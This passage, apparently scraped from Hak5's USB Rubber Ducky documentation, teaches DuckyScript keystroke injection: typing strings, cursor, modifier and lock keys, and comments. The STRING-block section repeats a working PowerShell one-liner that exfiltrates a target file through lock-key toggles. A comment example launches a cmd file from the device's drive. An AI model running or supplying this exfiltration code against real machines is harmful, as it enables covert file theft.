“TextEdit” and press `ENTER`, which will open the TextEdit app. * Then it will press the keyboard shortcut Command+N to open a new document. * Finally, after a 2 second delay, it will type “`Hello, World!`” * * * [_navigate\_before_ Unboxing "Quack-Start" Guide](https://docs.hak5.org/hak5-usb-rubber-ducky/unboxing-quack-start-guide/) [Keystroke Injection _navigate\_next_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/) --- # Keystroke Injection | Hak5 - USB Rubber Ducky [](https://docs.hak5.org/hak5-usb-rubber-ducky/) menu search Search Enable dark mode Enable light mode * to navigate * to select * to close cancel On this page Table of Contents _article_ Keystroke Injection =================== As we’ve seen from the _Hello, World!_ example in the previous section, the `STRING` command denotes keystrokes for injection. The `STRING` command accepts one or more alphanumeric, punctuation, and `SPACE` characters. As you will soon see, cursor keys, system keys, modifier keys and lock keys may also be injected but without the use of the `STRING` command. Keys may even be held and pressed in combination. Character Keys: Alphanumeric [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#character-keys-alphanumeric) -------------------------------------------------------------------------------------------------------------------------------------------------------- Each new line containing a number will type the corresponding character. ![Alphanumeric keys](https://docs.hak5.org/hak5-usb-rubber-ducky/images/image%20%2832%29.png) Alphanumeric keys The following alphanumeric keys are available: > `0 1 2 3 4 5 6 7 8 9` > > `a b c d e f g h i j k l m n o p q r s t u v w x y z` > > `A B C D E F G H I J K L M N O P Q R S T U V W X Y Z` ### Example [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#example) REM Example Alphanumeric Keystroke Injection ATTACKMODE HID STORAGE DELAY 2000 STRING abc123XYZ #### Result [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#result) * The USB Rubber Ducky will be recognized by the target as a keyboard and mass storage. * After a 2 second pause, the “keyboard” (the USB Rubber Ducky in HID mode) will type “`abc123XYZ`”. info **All letter keys on a keyboard are lowercase**. In the case of injecting the upper case letters in this example, the USB Rubber Ducky is automatically holding the `SHIFT` modifier for each character. Character Keys: Punctuation [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#character-keys-punctuation) ------------------------------------------------------------------------------------------------------------------------------------------------------ Similar to the alphanumeric keys, each new line containing a punctuation key will type the corresponding character. ![Punctuation keys](https://docs.hak5.org/hak5-usb-rubber-ducky/images/image%20%2816%29.png) Punctuation keys The following punctuation keys are available: > `` ` ~ ! @ # $ % ^ & * ( ) - _ = + [ ] { } ; : ' " , . < > / ? `` ### Example [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#example-1) REM Example Numeric and Punctuation Keystroke Injection ATTACKMODE HID STORAGE DELAY 2000 STRING 1+1=2 #### Result [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#result-1) * The USB Rubber Ducky will be recognized by the target as a keyboard and mass storage. * After a 2 second pause, the “keyboard” (the USB Rubber Ducky in HID mode) will type “`1+1=2`”. STRING [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#string) ------------------------------------------------------------------------------------------------------------- The `STRING` command will automatically interpret uppercase letters by holding the `SHIFT` modifier key where necessary. It will also automatically press the `SPACE` cursor key (more on that shortly), however trailing spaces will be omitted. ### Example using STRING [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#example-using-string) Even for single character injections, using `STRING` is recommended. REM Example Keystroke Injection without STRING ATTACKMODE HID STORAGE DELAY 2000 STRING H STRING ello, World! #### Result [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#result-2) * In both examples, the “`Hello, World!`” text is typed. ### Example without STRING [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#example-without-string) While DuckyScript Classic supported injecting keystrokes without the use of the `STRING` command, each on their own line, this practice is deprecated and no longer recommended. report While you may see this used in older payloads it is no longer recommended to use. REM Example Keystroke Injection without STRING ATTACKMODE HID STORAGE DELAY 2000 H e l l o , SPACE W o r l d ! STRINGLN [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#stringln) ----------------------------------------------------------------------------------------------------------------- The `STRING` command does not terminate with a carriage return. That means at the end of the `STRING` command, a new line is not created. As an example, imagine injecting commands into a terminal. If the two `STRING` commands “`STRING cd`” and “`STRING ls`” were run one after another, the result would be “`cdls`” on the same line. ### Example [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#example-2) STRING cd STRING ls #### Result [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#result-3) ![Multiple STRING result](https://docs.hak5.org/hak5-usb-rubber-ducky/images/image%20%2814%29.png) Multiple `STRING` result If you intended each command to run separately, the system key `ENTER` (covered shortly) would need to be run after each `STRING` command. STRING cd ENTER STRING ls ENTER Alternatively, the `STRINGLN` command may be used. This command automatically terminates with a carriage return — meaning that `ENTER` is pressed after the sequence of keys. Using `STRINGLN` in the example above would result in both the cd (change directory) command and ls (list files and directories) being executed. ### Example [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#example-3) STRINGLN cd STRINGLN ls #### Result [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#result-4) ![Multiple STRINGLN result](https://docs.hak5.org/hak5-usb-rubber-ducky/images/image%20%2830%29.png) Multiple `STRINGLN` result STRING & STRINGLN Blocks [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#string--stringln-blocks) ------------------------------------------------------------------------------------------------------------------------------------------------ ### STRING Blocks [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#string--blocks) `STRING` blocks can be used effectively to convert multiple lines into one without needing to prepend each line with `STRING` warning `STRING` blocks strip leading white space and ignore new lines! #### Simple STRING block example [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#simple-string-block-example) STRING a b c END_STRING is the equivalent of STRING a STRING b STRING c Or in this case: `STRING abc` #### Result [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#result-5) Deploying this payload will produce the following keystroke injection on the target machine: `abc` #### STRING block usecase Example [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#string-block-usecase-example) Good payloads will optimize the number of keystrokes that need to be injected to achieve their result as fast as possible. The result? Hard to read code that is reduced to a single line. Below we have an example usage of `STRING` from our `WINDOWS_HID_EXFIL` Extension demonstrating the Keystroke Reflection attack. For this example its not important that we understand the PowerShell code that is getting injected - Its simply being used to demonstrate how cumbersome it is to digest a monolithic one-liner. info The magic of `STRING` blocks is that the two snippets below produce **the exact same result**. The block format one is much easier to read and edit. STRING foreach($b in $(Get-Content "#TARGET_FILE" -Encoding byte)){foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){If($b -band $a){$o+="%{NUMLOCK}"}Else{$o+="%{CAPSLOCK}"}}};$o+="%{SCROLLLOCK}";Add-Type -Assembly System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait("$o");exit; STRING foreach($b in $(Get-Content "#TARGET_FILE" -Encoding byte)){ foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){ If($b -band $a){ $o+="%{NUMLOCK}" }Else{ $o+="%{CAPSLOCK}" } } }; $o+="%{SCROLLLOCK}"; Add-Type -Assembly System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait("$o"); exit; END_STRING #### Result [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#result-6) Deploying this payload will produce the following keystroke injection on the target machine: foreach($b in $(Get-Content "#TARGET_FILE" -Encoding byte)){foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){If($b -band $a){$o+="%{NUMLOCK}"}Else{$o+="%{CAPSLOCK}"}}};$o+="%{SCROLLLOCK}";Add-Type -Assembly System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait("$o");exit; This is due to the fact that `STRING` blocks strip leading white space, as well as ignore new lines. ### STRINGLN Blocks [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#stringln-blocks) #### Simple STRINGLN block example [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#simple-stringln-block-example) `STRINGLN` blocks can be used like [here-doc](https://en.wikipedia.org/wiki/Here_document) ; allowing you to inject multiple lines **as they are written in the payload.** warning `STRINGLN` blocks strip the first tab but will preserve all other formatting STRINGLN a b c END_STRINGLN is the equivalent of STRINGLN a STRINGLN b STRINGLN c #### Result [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#result-7) Deploying this payload will produce the following keystroke injection on the target machine: a b c #### STRINGLN block usecase example [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#stringln-block-usecase-example) Unlike `STRING` blocks, `STRINGLN` blocks will effectively inject code **as its written** (minus the first tab for formatting) STRINGLN foreach($b in $(Get-Content "#TARGET_FILE" -Encoding byte)){ foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){ If($b -band $a){ $o+="%{NUMLOCK}" }Else{ $o+="%{CAPSLOCK}" } } }; $o+="%{SCROLLLOCK}"; Add-Type -Assembly System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait("$o"); exit; END_STRING #### Result [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#result-8) Deploying this payload will produce the following keystroke injection on the target machine: foreach($b in $(Get-Content "#TARGET_FILE" -Encoding byte)){ foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){ If($b -band $a){ $o+="%{NUMLOCK}" }Else{ $o+="%{CAPSLOCK}" } } }; $o+="%{SCROLLLOCK}"; Add-Type -Assembly System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait("$o"); exit; ### Embedded Language Blocks [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#embedded-language-blocks) * `STRING_POWERSHELL` or `STRINGLN_POWERSHELL` * `STRING_BATCH` or `STRINGLN_BATCH` * `STRING_BASH` or `STRINGLN_BASH` * `STRING_JAVASCRIPT` or `STRINGLN_JAVASCRIPT` * `STRING_PYTHON` or `STRINGLN_PYTHON` * `STRING_RUBY` or `STRINGLN_RUBY` * `STRING_HTML` or `STRINGLN_HTML` info These variations work just like`STRING` or `STRINGLN` blocks with the added benefit of adding auto-complete and syntax highlighting specific to the language described by the command **when using PayloadStudio Pro Edition** ### Example [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#example-4) ![STRING_POWERSHELL example](https://docs.hak5.org/hak5-usb-rubber-ducky/images/image%20%2831%29.png) STRING\_POWERSHELL example check\_circle This syntax **will work** with PayloadStudio Community edition; only syntax highlighting and auto-complete feature additions are limited to the Pro edition. Cursor Keys [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#cursor-keys) ----------------------------------------------------------------------------------------------------------------------- As opposed to character keys, which type a letter, number or punctuation, the cursor keys are used to navigate the cursor to a different position on the screen. Generally, in the context of a text area, the arrow keys will move the cursor `UP`, `DOWN`, `LEFT` or `RIGHT` of the current position. The `HOME` and `END` keys move the cursor to the beginning or end of a line. The `PAGEUP` and `PAGEDOWN` keys scroll vertically up or down a single page. The `DELETE` key will remove the character to the right of the cursor, while the `BACKSPACE` will remove the character to its left. The `INSERT` key is typically used to switch between typing mode. The `TAB` key will advance the cursor to the next tab stop, or may be used to navigate to the next user interface element. The `SPACE` key will insert a space character, or may be used to select a user interface element. ![Cursor keys](https://docs.hak5.org/hak5-usb-rubber-ducky/images/image%20%2817%29.png) Cursor keys The following cursor keys are available: > `UPARROW DOWNARROW LEFTARROW RIGHTARROW` > > `PAGEUP PAGEDOWN HOME END` > > `INSERT DELETE BACKSPACE` > > `TAB` > > `SPACE` info The shorthand aliases `UP`, `DOWN`, `LEFT`, and `RIGHT` may be used in place of `UPARROW`, `DOWNARROW`, `LEFTARROW`, `RIGHTARROW` respectively. ### Example [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#example-5) REM Example Keystroke Injection without Cursor Keys ATTACKMODE HID STORAGE DELAY 2000 STRING 456 BACKSPACE BACKSPACE BACKSPACE STRING 123 HOME STRING abc END STRING UVW LEFTARROW LEFTARROW LEFTARROW DELETE DELETE DELETE STRING XYZ #### Result [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#result-9) * The USB Rubber Ducky will be recognized by the target as a keyboard and mass storage. * After a 2 second pause, the “keyboard” will type `456` * The `BACKSPACE` key will be pressed 3 times, removing `456` * The characters `123` will be typed * The `HOME` key will move the cursor to the beginning of the line * The characters `abc` will be typed * The `END` key will move the cursor to the end of the line * The characters `UVW` will be typed * The `LEFTARROW` will be pressed 3 times, then the `DELETE` key will be pressed 3 times, removing `UVW` * The characters `XYZ` will be typed * The final result will be `abc123XYZ` System Keys [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#system-keys) ----------------------------------------------------------------------------------------------------------------------- These keys are primarily used by the operating system for special functions and may be used to interact with both text areas and navigating the user interface. ![System keys](https://docs.hak5.org/hak5-usb-rubber-ducky/images/image%20%2818%29.png) System keys The following system keys are available: > `ENTER` > > `ESCAPE` > > `PAUSE` `BREAK` > > `PRINTSCREEN` > > `MENU` `APP` > > `F1` `F2` `F3` `F4` `F5` `F6` `F7` `F8` `F9` `F0` `F11` `F12` Basic Modifier Keys [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#basic-modifier-keys) --------------------------------------------------------------------------------------------------------------------------------------- Up until now only character, control and system keys have been discussed. These generally type a character, move the cursor, or perform a special action depending on the program or operating system of the target. Modifier keys, on the other hand, are typically held in combination with another key to perform a special function. One simple example of this is holding the `SHIFT` key in combination with the letter `a` key. The result will be an uppercase letter `A`. A slightly more complex example would be holding the `ALT` key along with the `F4` key, which typically closes a program on the Windows operating system. Common keyboard combinations for the PC include the familiar `CTRL c` for copy, `CTRL x` for cut, and `CTRL v` for paste. On macOS targets, these would be `COMMAND c`, `COMMAND x` and `COMMAND v` respectively. ![Basic modifier keys](https://docs.hak5.org/hak5-usb-rubber-ducky/images/image%20%2823%29.png) Basic modifier keys The following basic modifier keys are available: > `SHIFT` > > `ALT` > > `CONTROL` `CTRL` > > `COMMAND` > > `WINDOWS` `GUI` info The shorthand aliases `CTRL` and `GUI` may be used in place of `CONTROL` and `WINDOWS` respectively. ### Example: Windows [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#example-windows) REM Example Modifier Key Combo Keystroke Injection for Windows ATTACKMODE HID STORAGE DELAY 2000 GUI r DELAY 2000 BACKSPACE STRING 123 DELAY 2000 CTRL a CTRL c CTRL v CTRL v DELAY 2000 ALT F4 #### Result [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#result-10) * This example targets Windows systems. * The USB Rubber Ducky will be recognized by the target as a keyboard and mass storage. * After a 2 second pause, the `GUI r` keyboard combination will be typed. This will open the Run dialog, a feature of Windows since 1995 that allows you to open a program, document or Internet resource by typing certain commands. * After another 2 second pause, the `BACKSPACE` key will remove anything remaining in the text area from a previous session and the characters `123` will be typed. * After yet another 2 second pause, the `CTRL a` keyboard combination will select all text in the text area. * The keyboard shortcuts for copy and paste twice will be typed, resulting in `123123`. * After a final 2 second pause, the Windows keyboard combination `ALT F4` will be typed, closing the Run dialog. ### Example: macOS [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#example-macos) REM Example Modifier Key Combo Keystroke Injection for macOS ATTACKMODE HID STORAGE VID_05AC PID_021E DELAY 2000 COMMAND SPACE DELAY 2000 STRING 123 DELAY 2000 COMMAND a COMMAND c COMMAND v COMMAND v DELAY 2000 ESCAPE ESCAPE #### Result [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#result-11) * This example targets macOS systems. * The USB Rubber Ducky will be recognized by the target as a keyboard and mass storage. It is safe to ignore the advanced `VID` and `PID` parameters for `ATTACKMODE` now — they’ll be covered later on. * After a 2 second pause, and similarly to the Windows Run dialog example, the `COMMAND SPACE` keyboard combination will be typed. This will open Spotlight Search, a feature of macOS since OS X that allows you to open a program, document or Internet resource by typing certain commands. * After another 2 second pause, the characters `123` will be typed. * Similar to the previous example, after another 2 second pause the keyboard shortcuts for select all, copy, and paste twice will be typed — resulting in `123123`. * After a final 2 second pause, Spotlight Search is closed with two `ESCAPE` keys. Key and Modifier Combos [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#key-and-modifier-combos) ----------------------------------------------------------------------------------------------------------------------------------------------- In addition to the basic set of modifier keys, PayloadStudio will allow you to arbitrarily combine keys separated either by `SPACE` or `-` Some often used combinations may already be pre-defined in the language file: > `CTRL-ALT` > > `CTRL-SHIFT` > > `ALT-SHIFT` > > `COMMAND-CTRL` > > `COMMAND-CTRL-SHIFT` > > `COMMAND-OPTION` > > `COMMAND-OPTION-SHIFT` ### Example [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#example-6) ATTACKMODE HID STORAGE DELAY 2000 CTRL ALT DELETE #### Result [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#result-12) * The USB Rubber Ducky will be recognized by the target as a keyboard and mass storage. * After a 2 second pause, the infamous “three finger salute” key combination will be pressed. This may be necessary for login on many Windows systems. Standalone Modifier Keys [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#standalone-modifier-keys) ------------------------------------------------------------------------------------------------------------------------------------------------- Normally modifier keys are held in combination with another key. However they may also be pressed by themselves. While in many circumstances this will have no substantial effect on the target, for instance simply pressing `SHIFT` by itself, some keys can sometimes prove quite useful. Since 1995, the `WINDOWS` (or more formally `GUI`, an alias for the `WINDOWS` key) key has opened the Start menu on Windows systems. One could technically navigate this menu by using the arrow keys and `ENTER`. For instance, pressing `GUI`, then `UP`, then `ENTER` would open the Run dialog on a Windows 95 system. However, as seen in previous examples, the keyboard shortcut `GUI r` would be a much faster and more effective method of opening the Run dialog. Since Windows 7 the Start menu behavior has changed. Pressing `WINDOWS` or `GUI` on its own will highlight a search textarea — from which commands, documents and Internet resources may be entered similar to the Run dialog. Similar functionality can now be found on ChromeOS and many Linux window managers. To press a standalone modifier key in DuckyScript, it must be prefixed with the INJECT\_MOD command. ### Example [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#example-7) REM Example Standalone Modifier Key Keystroke Injection for Windows ATTACKMODE HID STORAGE DELAY 2000 INJECT_MOD WINDOWS DELAY 2000 STRING calc DELAY 2000 ENTER #### Result [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#result-13) * This example targets Windows systems. * The USB Rubber Ducky will be recognized by the target as a keyboard and mass storage. * After a 2 second pause, the `WINDOWS` (or `GUI`) key is pressed. Note the `INJECT_MOD` command on the line above. * After another 2 second pause, the letters `calc` will be typed. * The Windows target will most likely select the Calculator app as the best match. * After a final 2 second pause, `ENTER` will be pressed and the Calculator will likely open. Lock Keys [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#lock-keys) ------------------------------------------------------------------------------------------------------------------- These keys specify a distinct mode of operation and are significant due to the bi-directional nature of the lock state. This nuance will come in handy for more advanced payloads — but for now suffice it to say that the three standard lock keys can be pressed just like any ordinary key. ![Lock keys](https://docs.hak5.org/hak5-usb-rubber-ducky/images/image%20%289%29.png) Lock keys The following lock keys are available: > `CAPSLOCK` > > `NUMLOCK` > > `SCROLLLOCK` ### Example [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#example-8) ATTACKMODE HID STORAGE DELAY 2000 CAPSLOCK STRING abc123XYZ #### Result [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#result-14) * The USB Rubber Ducky will be recognized by the target as a keyboard and mass storage. * After a 2 second pause, the `CAPSLOCK` key will be pressed — thus toggling the capslock state. * If capslock were off before running this payload, the characters `ABC123xyz` will be typed. * Notice how the capitalization of the keys typed are reversed when Capslock is enabled. * Keep in mind that uppercase letters, standalone or in a `STRING` statement, automatically hold `SHIFT`. It is important to note that pressing the `CAPSLOCK` key in this example **toggles** the lock state. This is because the lock state is maintained by the operating system, not the keyboard. In most cases, when the key is pressed the operating system will report back to the keyboard information that indicates whether or not to light the caps lock LED on the keyboard itself. * [ ] How will the results of the above payload change if caps lock were enabled on the target before the USB Rubber Ducky payload were run? The USB Rubber Ducky, in many cases, can determine the lock state of the target. As you will soon learn, using this information along with DuckyScript 3.0 logic, a more robust payload can be constructed which will only press the `CAPSLOCK` key if the lock state were not already enabled. * * * [_navigate\_before_ Hello, World!](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/hello-world/) [Comments _navigate\_next_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/comments/) --- # Comments | Hak5 - USB Rubber Ducky [](https://docs.hak5.org/hak5-usb-rubber-ducky/) menu search Search Enable dark mode Enable light mode * to navigate * to select * to close cancel On this page Overview _article_ Comments ======== Overview [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/comments/#overview) ------------------------------------------------------------------------------------------------------ Comments are annotations added to source code of a payload for the purposes of describing the functionality and making it easier for humans to read and understand. This is especially helpful given the open source nature of DuckyScript payloads. When sharing, or modifying a shared payload, comments are especially helpful for conveying important aspects, such as constants and variables which may be specific to each user’s particular environment. As an example, a remote access payload may specify the IP address of a reverse shell listener within a constant. This may be documented within a comment block at the beginning of the payload, or as a single line comment above the definition. REM [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/comments/#rem) -------------------------------------------------------------------------------------------- ### Syntax [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/comments/#syntax) REM The `REM` command does not perform any keystroke injection functions. `REM` gets its name from the word remark. While `REM` may be used to add vertical spacing within a payload, blank lines are also acceptable and will not be processed by the compiler. ### Example [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/comments/#example) REM This is a comment block. REM It can be as many lines as you wish, as long as they all begin with REM. REM This block will not be compiled into the inject.bin file. REM It will however help fellow DuckyScript programmers understand this payload.. #### Result [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/comments/#result) * If encoded, this example payload will not perform any keystroke injection. ### Example [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/comments/#example-1) REM Sometimes it's helpful to add single line comments above specific sections. ATTACKMODE HID STORAGE DELAY 2000 GUI r DELAY 500 REM This executes d.cmd from the drive with the label DUCKY. STRING powershell ".((gwmi win32_volume -f 'label=''DUCKY''').Name+'d.cmd')" ENTER #### Result [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/comments/#result-1) * This payload executes a cmd file on the root of the USB Rubber Ducky MicroSD card. * The comment above the `STRING powershell...` line notes the necessity for the volume label of the MicroSD card to be “DUCKY”. REM\_BLOCK [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/comments/#rem_block) --------------------------------------------------------------------------------------------------------- Defining a comment block is simple! Start the comment with `REM_BLOCK` and end the comment with `END_REM`; everything in between will be considered a comment without the need to prepend every new line with `REM`. Comment blocks can be especially useful when you have multiple lines to be included in a single comment or want to retain formatting. ### Example [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/comments/#example-2) Below is an example taken from an `EXTENSION` describing its usage and intended targets. REM_BLOCK DOCUMENTATION USAGE: Place at beginning of payload (besides ATTACKMODE) to act as dynamic boot delay TARGETS: Any system that reflects CAPSLOCK will detect minimum required delay Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms END_REM Proper indentation allows this comment block to be collapsed and out of the way after reading. ![PayloadStudio Collapsed REM block](https://docs.hak5.org/hak5-usb-rubber-ducky/images/image%20%283%29.png) PayloadStudio Collapsed REM block Best Practices [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/comments/#best-practices) ------------------------------------------------------------------------------------------------------------------ Payloads, especially those designed to be shared, should begin with a block of comments specifying the title of the payload, the author, and a brief description. Additionally, one may wish to describe the target (OS, version) and any credit or inspiration (commonly commented as props). REM Title: Full Screen TREE Command REM Author: Darren Kitchen REM Description: Runs "tree" in fulll-screen green-on-black cmd window. REM Target: Windows 95 - 11 REM Props: Korben ATTACKMODE HID STORAGE DELAY 2000 GUI r DELAY 500 STRING cmd /K color a & tree c:\ ENTER DELAY 500 ALT ENTER info While comments are saved in the plaintext source code of a payload (e.g. payload.txt) they are not saved when the payload is compiled into an `inject.bin` file. * * * [_navigate\_before_ Keystroke Injection](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/) [Delays _navigate\_next_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/delays/) --- # BASIC INPUT AND OUTPUT | Hak5 - USB Rubber Ducky [](https://docs.hak5.org/hak5-usb-rubber-ducky/) menu search Search Enable dark mode Enable light mode * to navigate * to select * to close cancel On this page Table of Contents _article_ BASIC INPUT AND OUTPUT ====================== * * * --- # Delays | Hak5 - USB Rubber Ducky [](https://docs.hak5.org/hak5-usb-rubber-ducky/) menu search Search Enable dark mode Enable light mode * to navigate * to select * to close cancel On this page Overview _article_ Delays ====== Delays [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/delays/#delays) ================================================================================================ Overview [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/delays/#overview) ---------------------------------------------------------------------------------------------------- The average computer user types at about 40 words per minute. Sure, maybe us hackers type much faster — say 100-120 words per minute — but compared to how fast a computer processes data, that’s nothing. So when we think about issuing commands to a computer by way of keyboard input, there’s already an inherent delay simply in that we’re comparatively slow humans. Contrast our fastest typing with our multi-core computers with their gigahertz clock speeds, processing billions of instructions per second. The USB Rubber Ducky doesn’t type like a human. It types like a computer. Under its hood it’s performing 60,000 processes per second. Often while thinking about building a payload, we forget to add delays because they quite simply aren’t obvious to us as humans. DELAY [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/delays/#delay) ---------------------------------------------------------------------------------------------- The `DELAY` command instructs the USB Rubber Ducky to momentarily pause execution of the payload. This is useful when deploying a payload which must “wait” for an element — such as a window — to load. The `DELAY` command accepts the time parameter in milliseconds. DELAY